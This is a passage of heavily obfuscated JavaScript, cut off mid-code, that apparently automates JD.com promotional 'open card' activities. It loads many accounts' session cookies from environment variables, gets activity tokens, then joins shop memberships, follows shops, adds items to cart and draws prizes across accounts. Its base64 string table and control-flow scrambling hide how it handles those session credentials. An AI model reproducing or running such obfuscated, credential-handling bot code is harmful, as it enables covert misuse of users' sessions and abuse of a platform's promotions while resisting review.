uXeWksei0pe+8gQ==','SG9jU2o=','b1JDcnc=','6I635Y+W5rS75Yqo5L+h5oGv5aSx6LSl77yB','UHZkR3U=','RVZwekM=','6I635Y+W5LiN5YiwW2FjdG9yVXVpZF3pgIDlh7rmiafooYzvvIzor7fph43mlrDmiafooYw=','M3wwfDV8MXwyfDQ=','R0dVRkw=','MnwxfDN8MHw1fDQ=','5YWz5rOoOiA=','5Yqg6LStOiA=','5aaC6ZyA5Yqg6LSt6K+36K6+572u546v5aKD5Y+Y6YePW2d1YW9wZW5jYXJkX2FkZFNrdTI3XeS4uiJ0cnVlIg==','5b2T5YmN5Yqp5YqbOg==','Uk9nY2Q=','WHdWRFo=','QUlLQmM=','WmtTYWY=','ZGpGbnE=','RFRWZks=','SmtJYU4=','VG9rZW4=','UGlu','eUZWQ20=','VUREcUQ=','6I635Y+WY29va2ll5aSx6LSl','U2lDTXA=','SXJsS2o=','c3BsaXQ=','dHJpbQ==','SXZhcmI=','aW5kZXhPZg==','ZnZQekY=','d29xV1M=','cmVwbGFjZQ==','R2FnZ2Y=','WE1ob0w=','Z3pSZEs=','Ym1xcWk=','elRwdnk=','aWpjUUs=','bmlja25hbWU=','UklzRFI=','c2hvcElk','SGl5WkE=','dmVuZGVySWQ=','aFZzaE0=','TEhKd0o=','WVFTQVQ=','d0phWHA=','dG9PYmo=','SU5SZE0=','cUdJWlo=','cmVzdWx0','ZGF0YQ==','RXZ5cEc=','eXVuTWlkSW1hZ2VVcmw=','YXR0clRvdVhpYW5n','bWlpVmw=','ZXJyb3JNZXNzYWdl','Z2V0VXNlckluZm8g','REhJanQ=','QkN1Zm0=','UE54TVY=','SE5zQmk=','VU1Oekg=','R2JwQ0I=','V2tWeEc=','R1hIRUk=','d2FpdA==','YWxsT3BlbkNhcmQ=','Y2FyZExpc3Qx','c3RhdHVz','UWFTSUQ=','ZVZJTkc=','dmFsdWU=','enh4WGc=','TWdSSXA=','cmFuZG9t','Y2FyZExpc3Qy','ZHhKQ0k=','QmVGY2w=','aWhZc1I=','aE5ZZGY=','a3JBWk0=','emdIdUc=','T1lRTUc=','amNTem0=','RHRyZkQ=','c2NvcmUx','enZMa28=','c2NvcmUy','dlJvSHI=','Zm9sbG93U2hvcA==','TGVpWXo=','S2ZtWW8=','aGh5RVg=','YWRkU2t1','Y2J1YlY=','dlBXbkw=','V1ppVG0=','d3hlTmY=','S1dHeEs=','VERjb04=','dEpUZGM=','dGdsZW8=','a3pxTVY=','TG1GdWU=','5ZCO6Z2i55qE5Y+36YO95Lya5Yqp5YqbOg==','d2ZkTmw=','UllLYmE=','dXZSSXM=','Y1RQUFI=','YXdacnc=','dmxrZ2Q=','Z2dveUg=','Z2xMZW0=','WUFVUHE=','dFBiZlE=','YWRkQmVhbk51bQ==','YmVhbk51bU1lbWJlcg==','YXNzaXN0U2VuZFN0YXR1cw==','IOmineWkluiOt+W+lzo=','5YWz5rOo6I635b6X77ya','a1BBRko=','RXNleWI=','WExzRGY=','ckZ0bVU=','ZlFya0c=','TWxTbmw=','U0Z6V2s=','eUtidmY=','6YKA6K+35aW95Y+L','RnpOaVQ=','R0hNWmI=','QUtMemM=','MjUwMTM1ZWRiNjI1NDc1Mzk4OWIxZDViZjI4NGI4Yzc=','Mjc1N2M2NjlmZjE0NGIxZmEwOGJmOTA2YWI5Y2U0MzU=','MWVkNzk0NWU5ZDFlNDk4ZGI3MjY5MDFhNjY3MjE0M2M=','L2Rpbmd6aGkvdGFza2FjdC9vcGVuQ2FyZGNvbW1vbi9nZXREcmF3UmVjb3JkSGFzQ291cG9u','Q0RDYkk=','ZXhIQkI=','T1V1TVM=','a21QSUc=','ZUhtYmQ=','aFBHaVk=','aWlwTmI=','eG5JdG4=','VVF0cFY=','THZ4UXE=','anV4cHM=','c3FDVks=','YWN0aXZpdHlJZD0=','JmFjdG9yVXVpZD0=','JnBpbj0=','Z2pUYVY=','Jm51bT0wJnNvcnRTdWF0dXM9MQ==','cG9zdA==','RkJPaVA=','TEJNREg=','cVNjU1U=','WVNMQlk=','aWZ2dW0=','QkJwYU8=','RnVjc20=','dG9TdHI=','IEFQSeivt+axguWksei0pe+8jOivt+ajgOafpee9kei3r+mHjeivlQ==','cXpFZmI=','WEJmdFM=','UlJhTlk=','cENqSlc=','dXJkaE0=','QkxUcGo=','VGNIaVY=','5oiR55qE5aWW5ZOB77ya','aW5mb05hbWU=','SGhIalI=','aW5mb1R5cGU=','6YKA6K+35aW95Y+LKA==','QlJ0T1E=','eVVqcno=','aGRMUVA=','TVlERVM=','WUhZZEY=','aUxua0U=','aW9maXg=','S0JWZ3g=','Zmxvb3I=','TlJwdWc=','VG9PbnE=','S2ZBQkU=','bFhYZVg=','5oiR55qE5aWW5ZOBIA==','Z1lNVGc=','QXlEbUc=','bVFReFY=','dndPa0o=','cGdRSXM=','dVh4QXU=','cFpuanc=','Q0R0UW4=','bU15Qk4=','ZkdJWW0=','S0RSeE8=','WlVJSFA=','VnpiS3c=','bkV2dHg=','V2JzdUI=','R25NVmQ=','T01wT2Y=','bkRHcUM=','L2Rpbmd6aGkvdGFza2FjdC9vcGVuQ2FyZGNvbW1vbi9nZXRTaGFyZVJlY29yZA==','aGVQZFY=','dGltWWE=','R012c1k=','YmNyUlk=','cGlsVFI=','dmtNY0s=','RnlPa1A=','dmJLbkk=','dkh0b08=','elNOY0E=','cHhUWEw=','WE9ZRXo=','RUVLQkY=','ZktzRlQ=','Z0F1eWI=','5YWl5Lya6I635b6XOg==','ZGlzY291bnRTdHJpbmc=','cHJpemVOYW1l','c2Vjb25kTGluZURlc2M=','PT09PT09PT09PT0g5L2g6YKA6K+35LqGOg==','WmJNc2c=','bmZPWnk=','cGFyc2U=','SnZ4ekQ=','c3VjY2Vzcw==','c2hvcGFjdGl2aXR5SWQ=','aW50ZXJlc3RzUnVsZUxpc3Q=','aW50ZXJlc3RzSW5mbw==','akx1UWM=','YWxsU3RhdHVz','Z3pVbEQ=','Z21pTUQ=','WEVjR2g=','RU96VHY=','TXJ2Y2s=','L2Rpbmd6aGkvZHovb3BlbkNhcmQvc2F2ZVRhc2s=','c1ZmdGw=','JnRhc2tUeXBlPTImdGFza1ZhbHVlPTEwMDAyMTM3NzY4NA==','QldBZ3Y=','eFhDZ3M=','dGpNY0U=','cm5GY1I=','d3lQUmI=','QUh0WXY=','eXlmVGg=','U2NqV0o=','UUZKSHQ=','c09SRlE=','cmtyblM=','TUl5alk=','UktxQUc=','Vk9Sd3Y=','ZkREamY=','TW1wQWs=','VmlKenc=','VGd1Wk4=','dWNoVms=','Q2lHWGU=','c3RhdHVzQ29kZQ==','Y2REc1g=','Rld4Rlc=','aHFnQ2s=','bG1XamU=','5Yqg6LSt6I635b6X77ya','cnVvY2U=','YkN4eVI=','5Yqg6LStIA==','SlpGdHM=','VFJCZFc=','SU9SdEQ=','ZlNMQks=','VE5EaEI=','enp3bHY=','VWNJd3E=','TlZNR08=','RFpZSWg=','VHl0aXE=','eHRJaGI=','L2Rpbmd6aGkvZHovb3BlbkNhcmQvZm9sbG93U2hvcA==','VHhlR2I=','bHlmQVY=','UVNsRWY=','TkdvTXE=','Q0NvaWw=','c2pyTHI=','ckpaR2g=','RXNIZkc=','JnRhc2tUeXBlPTIzJnRhc2tWYWx1ZT0xMDAwMDkxODYz','SWl3c2M=','SGZjeEY=','Unp5SlI=','UHZNRlQ=','ZVVDUGE=','UEFoU0U=','RGhVRkY=','Z2JSTVc=','RG5WU1Y=','V3hHckw=','c1pyWHY=','bEtDY1M=','U1NBbWY=','YUhtWW0=','Yllpam4=','VVZPVWU=','bXFXclA=','RGJrR3c=','Q01BT20=','bmVZZ1M=','a2dSenY=','b1BWclk=','ZHNwZ2I=','dmxkYko=','a01XZE0=','YWRtc2w=','VHJWd0E=','ZXJyY29kZQ==','bFFZSUI=','dG9rZW4=','U0R4TVQ=','R3VoRGo=','bWVzc2FnZQ==','aXN2T2JmdXNjYXRvciA=','aUx2cXM=','ZEpOQ1M=','5YWz5rOoIA==','ZldxdkY=','bW5PWlk=','dlN4SWg=','RXN4dXc=','ZGFDWE4=','QmRRWnA=','dGd6a0Q=','bnVqd2s=','RGZwQ3U=','Q1JSTVU=','Z2V0','eVJVaEg=','TkpBbkE=','Z2JBcmM=','RWRmREY=','Tk9wSXk=','dGV4dC9wbGFpbjsgQ2hhcnNldD1VVEYtOA==','aHR0cHM6Ly9hcGkubS5qZC5jb20=','YXBpLm0uamQuY29t','Ki8q','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9hcHBpZD1qZF9zaG9wX21lbWJlciZmdW5jdGlvbklkPWdldFNob3BPcGVuQ2FyZEluZm8mYm9keT0lN0IlMjJ2ZW5kZXJJZCUyMiUzQSUyMg==','JTIyJTJDJTIyY2hhbm5lbCUyMiUzQTQwMSU3RCZjbGllbnQ9SDUmY2xpZW50VmVyc2lvbj05LjIuMCZ1dWlkPTg4ODg4','VWZNbHE=','dnh6aGU=','VFZDS2M=','V1ZZdnE=','V3drTGw=','aHR0cHM6Ly9zaG9wbWVtYmVyLm0uamQuY29tL3Nob3BjYXJkLz92ZW5kZXJJZD0=','JnNob3BJZD0=','JnZlbmRlclR5cGU9NSZjaGFubmVsPTQwMSZyZXR1cm5Vcmw9aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9kaW5nemhpL2R6L29wZW5DYXJkL2FjdGl2aXR5P2FjdGl2aXR5SWQ9','WGdyUGE=','bGxRS0I=','QWdQdEk=','SHVTb2k=','VkFVUmI=','S25LQkE=','dU5nVlE=','ZER6enM=','bUJCSFU=','UU1hYmc=','ekd0SHk=','YmRSWlQ=','Y2JSQ0E=','UFB5cmE=','aXNZTW0=','RW9rYU0=','c1pXS04=','SmhnV00=','clVTUm0=','dHN5VmM=','Z2lmdEluZm8=','Z2lmdExpc3Q=','SkRGRko=','WGR1aVk=','LCJhY3Rpdml0eUlkIjo=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9hcHBpZD1qZF9zaG9wX21lbWJlciZmdW5jdGlvbklkPWJpbmRXaXRoVmVuZGVyJmJvZHk9eyJ2ZW5kZXJJZCI6Ig==','Iiwic2hvcElkIjoi','IiwiYmluZEJ5VmVyaWZ5Q29kZUZsYWciOjEsInJlZ2lzdGVyRXh0ZW5kIjp7fSwid3JpdGVDaGlsZEZsYWciOjA=','LCJjaGFubmVsIjo0MDF9JmNsaWVudD1INSZjbGllbnRWZXJzaW9uPTkuMi4wJnV1aWQ9ODg4ODg=','ZldqSmc=','QnRGaUU=','VmRSU1o=','ZGdsc20=','YkFzd0c=','U25JaHE=','U0FpTmY=','U2NkR0I=','VEluZEI=','Q3JTWlU=','aEJhZms=','WkpGZHE=','L2Rpbmd6aGkvZHovb3BlbkNhcmQvc3RhcnREcmF3','dmFwVXQ=','JnR5cGU9','ZEFRZnE=','SVF2S1Q=','eUFtSW0=','YXJQb0c=','REpRWFk=','UHp5Y28=','dlV2aU0=','T3hVQmw=','ZXJXbXk=','ZWdLbG0=','YmFWTVE=','akhsWG8=','cEp5ZlU=','dm16SXA=','b21CSFA=','T21jcHo=','R3B6cGk=','UkVTVlE=','ZGNXeGs=','RlpBTmY=','bVhiYmY=','b3B1c1k=','T0V2SXI=','V3pybkU=','T09GSlE=','eWVUbHA=','QnlHRUs=','S2hLTlc=','VFp1b0E=','5oq95aWW6I635b6X77ya','ZHJhd09r','SEd5b1E=','5oq95aWWIA==','VmhGYWI=','dXJQQVU=','dVd3VEU=','Z1RQcm8=','Y2NjenI=','SXRVeWU=','SGhtdUs=','UlpnREk=','dXRWTHQ=','Z3lVUHY=','eWjsYpjiCaemin.cToGIm.vU6xSgul=='];(function(_0x588c69,_0x20f2a3,_0x32a0e7){var _0x3dbce6=function(_0x17f1ed,_0x24acd1,_0x3156e0,_0x901f1a,_0x3dcdc3){_0x24acd1=_0x24acd1>>0x8,_0x3dcdc3='po';var _0x37c8ff='shift',_0x2272e8='push';if(_0x24acd1<_0x17f1ed){while(--_0x17f1ed){_0x901f1a=_0x588c69[_0x37c8ff]();if(_0x24acd1===_0x17f1ed){_0x24acd1=_0x901f1a;_0x3156e0=_0x588c69[_0x3dcdc3+'p']();}else if(_0x24acd1&&_0x3156e0['replace'](/[eWYpCenTGIUxSgul=]/g,'')===_0x24acd1){_0x588c69[_0x2272e8](_0x901f1a);}}_0x588c69[_0x2272e8](_0x588c69[_0x37c8ff]());}return 0xa5faf;};return _0x3dbce6(++_0x20f2a3,_0x32a0e7)>>_0x20f2a3^_0x32a0e7;}(_0x1e35,0x1e1,0x1e100));var _0x5a05=function(_0x12a720,_0x1f36fd){_0x12a720=~~'0x'['concat'](_0x12a720);var _0x29cbe6=_0x1e35[_0x12a720];if(_0x5a05['YXPdqD']===undefined){(function(){var _0x4fb134;try{var _0x2c89b1=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x4fb134=_0x2c89b1();}catch(_0x5067fa){_0x4fb134=window;}var _0x1aec73='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x4fb134['atob']||(_0x4fb134['atob']=function(_0x497674){var _0x404106=String(_0x497674)['replace'](/=+$/,'');for(var _0x5ae109=0x0,_0x13397f,_0x2e6b63,_0xcaf4c7=0x0,_0x3fd652='';_0x2e6b63=_0x404106['charAt'](_0xcaf4c7++);~_0x2e6b63&&(_0x13397f=_0x5ae109%0x4?_0x13397f*0x40+_0x2e6b63:_0x2e6b63,_0x5ae109++%0x4)?_0x3fd652+=String['fromCharCode'](0xff&_0x13397f>>(-0x2*_0x5ae109&0x6)):0x0){_0x2e6b63=_0x1aec73['indexOf'](_0x2e6b63);}return _0x3fd652;});}());_0x5a05['YjCTYW']=function(_0x2f818a){var _0x25b944=atob(_0x2f818a);var _0x407dc4=[];for(var _0x19006b=0x0,_0x2e077d=_0x25b944['length'];_0x19006b<_0x2e077d;_0x19006b++){_0x407dc4+='%'+('00'+_0x25b944['charCodeAt'](_0x19006b)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x407dc4);};_0x5a05['hgkrRc']={};_0x5a05['YXPdqD']=!![];}var _0x2ebc5a=_0x5a05['hgkrRc'][_0x12a720];if(_0x2ebc5a===undefined){_0x29cbe6=_0x5a05['YjCTYW'](_0x29cbe6);_0x5a05['hgkrRc'][_0x12a720]=_0x29cbe6;}else{_0x29cbe6=_0x2ebc5a;}return _0x29cbe6;};let cookiesArr=[],cookie='';let activityCookie='';let lz_jdpin_token='';if($[_0x5a05('0')]()){Object[_0x5a05('1')](jdCookieNode)[_0x5a05('2')](_0x54a24e=>{cookiesArr[_0x5a05('3')](jdCookieNode[_0x54a24e]);});if(process[_0x5a05('4')][_0x5a05('5')]&&process[_0x5a05('4')][_0x5a05('5')]===_0x5a05('6'))console[_0x5a05('7')]=()=>{};}else{cookiesArr=[$[_0x5a05('8')](_0x5a05('9')),$[_0x5a05('8')](_0x5a05('a')),...jsonParse($[_0x5a05('8')](_0x5a05('b'))||'[]')[_0x5a05('c')](_0x4abdc9=>_0x4abdc9[_0x5a05('d')])][_0x5a05('e')](_0x2a8e78=>!!_0x2a8e78);}guaopencard_addSku=$[_0x5a05('0')]()?process[_0x5a05('4')][_0x5a05('f')]?process[_0x5a05('4')][_0x5a05('f')]:''+guaopencard_addSku:$[_0x5a05('8')](_0x5a05('f'))?$[_0x5a05('8')](_0x5a05('f')):''+guaopencard_addSku;guaopencard_addSku=$[_0x5a05('0')]()?process[_0x5a05('4')][_0x5a05('10')]?process[_0x5a05('4')][_0x5a05('10')]:''+guaopencard_addSku:$[_0x5a05('8')](_0x5a05('10'))?$[_0x5a05('8')](_0x5a05('10')):''+guaopencard_addSku;guaopencard=$[_0x5a05('0')]()?process[_0x5a05('4')][_0x5a05('11')]?process[_0x5a05('4')][_0x5a05('11')]:''+guaopencard:$[_0x5a05('8')](_0x5a05('11'))?$[_0x5a05('8')](_0x5a05('11')):''+guaopencard;guaopencard=$[_0x5a05('0')]()?process[_0x5a05('4')][_0x5a05('12')]?process[_0x5a05('4')][_0x5a05('12')]:''+guaopencard:$[_0x5a05('8')](_0x5a05('12'))?$[_0x5a05('8')](_0x5a05('12')):''+guaopencard;message='';$[_0x5a05('13')]=![];!(async()=>{var _0xd82e6a={'iHiNV':_0x5a05('14'),'XzuFg':function(_0x1066cb,_0x50092a){return _0x1066cb===_0x50092a;},'UScYQ':_0x5a05('15'),'IaYLl':_0x5a05('16'),'leknV':_0x5a05('17'),'CSbnk':function(_0x3fe675,_0x1592d1){return _0x3fe675!=_0x1592d1;},'KXQbv':function(_0x2992f1,_0x1f9e38){return _0x2992f1+_0x1f9e38;},'gkntF':_0x5a05('18'),'GSaJa':_0x5a05('19'),'JnOmY':_0x5a05('1a'),'ONGie':function(_0x213ac9,_0x5cb3cd){return _0x213ac9!=_0x5cb3cd;},'SvPWo':_0x5a05('1b'),'xwglF':_0x5a05('1c'),'oFzxm':function(_0x2b4665,_0x45b141){return _0x2b4665<_0x45b141;},'tdLjT':function(_0x243b49,_0x32841a){return _0x243b49(_0x32841a);},'RUCpB':function(_0x4ac5a9){return _0x4ac5a9();},'UTdGW':function(_0x180f47,_0x3819fe){return _0x180f47==_0x3819fe;},'IMviP':_0x5a05('1d')};if(!cookiesArr[0x0]){if(_0xd82e6a[_0x5a05('1e')](_0xd82e6a[_0x5a05('1f')],_0xd82e6a[_0x5a05('1f')])){$[_0x5a05('20')]($[_0x5a05('21')],_0xd82e6a[_0x5a05('22')],_0xd82e6a[_0x5a05('23')],{'open-url':_0xd82e6a[_0x5a05('23')]});return;}else{console[_0x5a05('7')](data);}}if($[_0x5a05('0')]()){if(_0xd82e6a[_0x5a05('24')](_0xd82e6a[_0x5a05('25')](guaopencard,''),_0xd82e6a[_0x5a05('26')])){if(_0xd82e6a[_0x5a05('1e')](_0xd82e6a[_0x5a05('27')],_0xd82e6a[_0x5a05('27')])){console[_0x5a05('7')](_0xd82e6a[_0x5a05('28')]);}else{console[_0x5a05('7')](_0xd82e6a[_0x5a05('29')]);return;}}if(_0xd82e6a[_0x5a05('2a')](_0xd82e6a[_0x5a05('25')](guaopencard,''),_0xd82e6a[_0x5a05('26')])){return;}}$[_0x5a05('2b')]=_0xd82e6a[_0x5a05('2c')];$[_0x5a05('2d')]=_0xd82e6a[_0x5a05('2e')];console[_0x5a05('7')](_0x5a05('2f')+$[_0x5a05('2d')]+_0x5a05('30')+$[_0x5a05('2b')]);for(let _0x342ac9=0x0;_0xd82e6a[_0x5a05('31')](_0x342ac9,cookiesArr[_0x5a05('32')]);_0x342ac9++){cookie=cookiesArr[_0x342ac9];if(cookie){$[_0x5a05('33')]=_0xd82e6a[_0x5a05('34')](decodeURIComponent,cookie[_0x5a05('35')](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0x5a05('35')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0x5a05('36')]=_0xd82e6a[_0x5a05('25')](_0x342ac9,0x1);_0xd82e6a[_0x5a05('37')](getUA);console[_0x5a05('7')](_0x5a05('38')+$[_0x5a05('36')]+'】'+$[_0x5a05('33')]+_0x5a05('39'));await _0xd82e6a[_0x5a05('37')](run);if(_0xd82e6a[_0x5a05('3a')](_0x342ac9,0x0)&&!$[_0x5a05('3b')])break;if($[_0x5a05('13')])break;}}if($[_0x5a05('13')]){let _0x3467a2=_0xd82e6a[_0x5a05('3c')];$[_0x5a05('20')]($[_0x5a05('21')],'',''+_0x3467a2);if($[_0x5a05('0')]())await notify[_0x5a05('3d')](''+$[_0x5a05('21')],''+_0x3467a2);}})()[_0x5a05('3e')](_0xca5528=>$[_0x5a05('3f')](_0xca5528))[_0x5a05('40')](()=>$[_0x5a05('41')]());async function run(){var _0x44d4be={'Ivarb':function(_0x156389,_0x4f2cd3){return _0x156389>_0x4f2cd3;},'fvPzF':_0x5a05('42'),'woqWS':function(_0x33ee68,_0x119ddd){return _0x33ee68+_0x119ddd;},'Gaggf':_0x5a05('43'),'XMhoL':function(_0x2ae3c4,_0x19b48c){return _0x2ae3c4+_0x19b48c;},'INRdM':function(_0x1bad7a,_0xf682c2){return _0x1bad7a==_0xf682c2;},'qGIZZ':_0x5a05('44'),'DTVfK':function(_0x574fad,_0x4c524b){return _0x574fad===_0x4c524b;},'EvypG':function(_0x484268,_0x46d409){return _0x484268!=_0x46d409;},'HiyZA':_0x5a05('45'),'miiVl':_0x5a05('46'),'yFVCm':function(_0xd77871){return _0xd77871();},'hNYdf':_0x5a05('6'),'RYKba':function(_0x54e256,_0x37dcc3){return _0x54e256>_0x37dcc3;},'uvRIs':_0x5a05('47'),'cTPPR':function(_0x31f40f,_0x658be3){return _0x31f40f>_0x658be3;},'kPAFJ':function(_0x14d30e,_0x5e4704){return _0x14d30e||_0x5e4704;},'Eseyb':_0x5a05('48'),'JkIaN':_0x5a05('49'),'UDDqD':function(_0x448415,_0x13613f){return _0x448415==_0x13613f;},'SiCMp':function(_0x1eff09,_0x5a2c0a){return _0x1eff09!==_0x5a2c0a;},'IrlKj':_0x5a05('4a'),'gzRdK':_0x5a05('4b'),'bmqqi':function(_0x5011dd){return _0x5011dd();},'zTpvy':function(_0x41d186,_0x10c835){return _0x41d186==_0x10c835;},'ijcQK':_0x5a05('4c'),'RIsDR':function(_0xedb778){return _0xedb778();},'hVshM':function(_0x238f14,_0x5719de){return _0x238f14!==_0x5719de;},'LHJwJ':_0x5a05('4d'),'YQSAT':_0x5a05('4e'),'wJaXp':_0x5a05('4f'),'DHIjt':function(_0xf2dcd3){return _0xf2dcd3();},'BCufm':function(_0x1bf2c6){return _0x1bf2c6();},'PNxMV':function(_0x35693e){return _0x35693e();},'HNsBi':function(_0x4e2b0a,_0x580b48){return _0x4e2b0a===_0x580b48;},'UMNzH':_0x5a05('50'),'GbpCB':_0x5a05('51'),'WkVxG':_0x5a05('52'),'GXHEI':function(_0x4e301e){return _0x4e301e();},'QaSID':_0x5a05('53'),'eVING':function(_0x4ba145,_0x3539ef){return _0x4ba145(_0x3539ef);},'zxxXg':function(_0x5e6a55,_0x3ba894,_0x1ea6f1){return _0x5e6a55(_0x3ba894,_0x1ea6f1);},'MgRIp':function(_0x29cd1a,_0x21411a){return _0x29cd1a*_0x21411a;},'dxJCI':function(_0x476280,_0xf333d8){return _0x476280==_0xf333d8;},'BeFcl':function(_0x1aac5c,_0x5c465c){return _0x1aac5c!==_0x5c465c;},'ihYsR':_0x5a05('54'),'krAZM':_0x5a05('55'),'zgHuG':function(_0x223e17,_0x8e90dc,_0x3426c3){return _0x223e17(_0x8e90dc,_0x3426c3);},'OYQMG':function(_0x2b095e,_0x23f65b){return _0x2b095e*_0x23f65b;},'jcSzm':function(_0x2adedf){return _0x2adedf();},'DtrfD':function(_0x41cea3,_0x40fd51){return _0x41cea3==_0x40fd51;},'zvLko':function(_0x52a032,_0x28d73f){return _0x52a032(_0x28d73f);},'vRoHr':_0x5a05('56'),'LeiYz':function(_0x3a7693,_0x5cb05){return _0x3a7693*_0x5cb05;},'KfmYo':function(_0x5808f4,_0x33cdc0){return _0x5808f4+_0x33cdc0;},'hhyEX':_0x5a05('57'),'cbubV':function(_0x1a46a6,_0x226f36){return _0x1a46a6+_0x226f36;},'vPWnL':_0x5a05('18'),'WZiTm':_0x5a05('58'),'wxeNf':function(_0x8a9915,_0x14a341,_0xf135a9){return _0x8a9915(_0x14a341,_0xf135a9);},'KWGxK':function(_0x215837,_0x1b8c11){return _0x215837+_0x1b8c11;},'TDcoN':function(_0x55012d){return _0x55012d();},'tJTdc':_0x5a05('59'),'tgleo':_0x5a05('5a'),'kzqMV':_0x5a05('5b'),'LmFue':_0x5a05('5c'),'wfdNl':_0x5a05('14'),'awZrw':function(_0x1d27a5,_0x3742fb){return _0x1d27a5*_0x3742fb;},'vlkgd':function(_0xe1fe0b,_0x3706e9,_0x1bb32e){return _0xe1fe0b(_0x3706e9,_0x1bb32e);},'ggoyH':function(_0x4e87ce,_0xaa8119){return _0x4e87ce*_0xaa8119;},'glLem':function(_0x52472b,_0x13c1c3){return _0x52472b===_0x13c1c3;},'YAUPq':_0x5a05('5d'),'tPbfQ':_0x5a05('5e')};try{if(_0x44d4be[_0x5a05('5f')](_0x44d4be[_0x5a05('60')],_0x44d4be[_0x5a05('60')])){lz_jdpin_token='';$[_0x5a05('61')]='';$[_0x5a05('62')]='';await _0x44d4be[_0x5a05('63')](getCk);if(_0x44d4be[_0x5a05('64')](activityCookie,'')){console[_0x5a05('7')](_0x5a05('65'));return;}if($[_0x5a05('13')]){if(_0x44d4be[_0x5a05('66')](_0x44d4be[_0x5a05('67')],_0x44d4be[_0x5a05('67')])){let _0x26db21=ck[_0x5a05('68')](';')[0x0][_0x5a05('69')]();if(_0x26db21[_0x5a05('68')]('=')[0x1]){if(_0x44d4be[_0x5a05('6a')](_0x26db21[_0x5a05('6b')](_0x44d4be[_0x5a05('6c')]),-0x1))LZ_TOKEN_KEY=_0x44d4be[_0x5a05('6d')](_0x26db21[_0x5a05('6e')](/ /g,''),';');if(_0x44d4be[_0x5a05('6a')](_0x26db21[_0x5a05('6b')](_0x44d4be[_0x5a05('6f')]),-0x1))LZ_TOKEN_VALUE=_0x44d4be[_0x5a05('70')](_0x26db21[_0x5a05('6e')](/ /g,''),';');}}else{console[_0x5a05('7')](_0x44d4be[_0x5a05('71')]);return;}}await _0x44d4be[_0x5a05('72')](getToken);if(_0x44d4be[_0x5a05('73')]($[_0x5a05('61')],'')){console[_0x5a05('7')](_0x44d4be[_0x5a05('74')]);return;}await _0x44d4be[_0x5a05('72')](getSimpleActInfoVo);$[_0x5a05('75')]='';await _0x44d4be[_0x5a05('76')](getMyPing);if(_0x44d4be[_0x5a05('5f')]($[_0x5a05('62')],'')||_0x44d4be[_0x5a05('73')](typeof $[_0x5a05('77')],_0x44d4be[_0x5a05('78')])||_0x44d4be[_0x5a05('73')](typeof $[_0x5a05('79')],_0x44d4be[_0x5a05('78')])){if(_0x44d4be[_0x5a05('7a')](_0x44d4be[_0x5a05('7b')],_0x44d4be[_0x5a05('7c')])){$[_0x5a05('7')](_0x44d4be[_0x5a05('7d')]);return;}else{res=$[_0x5a05('7e')](data);if(_0x44d4be[_0x5a05('7f')](typeof res,_0x44d4be[_0x5a05('80')])&&res[_0x5a05('81')]&&_0x44d4be[_0x5a05('5f')](res[_0x5a05('81')],!![])){if(res[_0x5a05('82')]&&_0x44d4be[_0x5a05('83')](typeof res[_0x5a05('82')][_0x5a05('84')],_0x44d4be[_0x5a05('78')]))$[_0x5a05('85')]=res[_0x5a05('82')][_0x5a05('84')]||_0x44d4be[_0x5a05('86')];}else if(_0x44d4be[_0x5a05('7f')](typeof res,_0x44d4be[_0x5a05('80')])&&res[_0x5a05('87')]){console[_0x5a05('7')](_0x5a05('88')+(res[_0x5a05('87')]||''));}else{console[_0x5a05('7')](data);}}}await _0x44d4be[_0x5a05('89')](accessLogWithAD);$[_0x5a05('85')]=_0x44d4be[_0x5a05('86')];await _0x44d4be[_0x5a05('8a')](getUserInfo);$[_0x5a05('3b')]='';await _0x44d4be[_0x5a05('8b')](getActorUuid);if(!$[_0x5a05('3b')]){if(_0x44d4be[_0x5a05('8c')](_0x44d4be[_0x5a05('8d')],_0x44d4be[_0x5a05('8e')])){_0x44d4be[_0x5a05('63')](resolve);}else{console[_0x5a05('7')](_0x44d4be[_0x5a05('8f')]);return;}}await _0x44d4be[_0x5a05('90')](drawContent);await $[_0x5a05('91')](0x3e8);let _0x324ced=await _0x44d4be[_0x5a05('90')](checkOpenCard);if(_0x324ced&&!_0x324ced[_0x5a05('92')]&&!$[_0x5a05('13')]){let _0x6e7a4f=!![];for(let _0x5f4984 of _0x324ced[_0x5a05('93')]&&_0x324ced[_0x5a05('93')]||[]){if(_0x44d4be[_0x5a05('73')](_0x5f4984[_0x5a05('94')],0x0)){var _0x24fa79=_0x44d4be[_0x5a05('95')][_0x5a05('68')]('|'),_0x4af0c5=0x0;while(!![]){switch(_0x24fa79[_0x4af0c5++]){case'0':if(_0x6e7a4f)_0x6e7a4f=![];continue;case'1':await _0x44d4be[_0x5a05('96')](join,_0x5f4984[_0x5a05('97')]);continue;case'2':await $[_0x5a05('91')](_0x44d4be[_0x5a05('98')](parseInt,_0x44d4be[_0x5a05('70')](_0x44d4be[_0x5a05('99')](Math[_0x5a05('9a')](),0x3e8),0x1388),0xa));continue;case'3':if(_0x6e7a4f)console[_0x5a05('7')]('组1');continue;case'4':await _0x44d4be[_0x5a05('90')](drawContent);continue;case'5':console[_0x5a05('7')](_0x5f4984[_0x5a05('21')]);continue;}break;}}}_0x6e7a4f=!![];for(let _0x4b318a of _0x324ced[_0x5a05('9b')]&&_0x324ced[_0x5a05('9b')]||[]){if(_0x44d4be[_0x5a05('9c')](_0x4b318a[_0x5a05('94')],0x0)){if(_0x44d4be[_0x5a05('9d')](_0x44d4be[_0x5a05('9e')],_0x44d4be[_0x5a05('9e')])){Object[_0x5a05('1')](jdCookieNode)[_0x5a05('2')](_0x27295a=>{cookiesArr[_0x5a05('3')](jdCookieNode[_0x27295a]);});if(process[_0x5a05('4')][_0x5a05('5')]&&_0x44d4be[_0x5a05('5f')](process[_0x5a05('4')][_0x5a05('5')],_0x44d4be[_0x5a05('9f')]))console[_0x5a05('7')]=()=>{};}else{var _0x37e1dc=_0x44d4be[_0x5a05('a0')][_0x5a05('68')]('|'),_0x350f25=0x0;while(!![]){switch(_0x37e1dc[_0x350f25++]){case'0':await 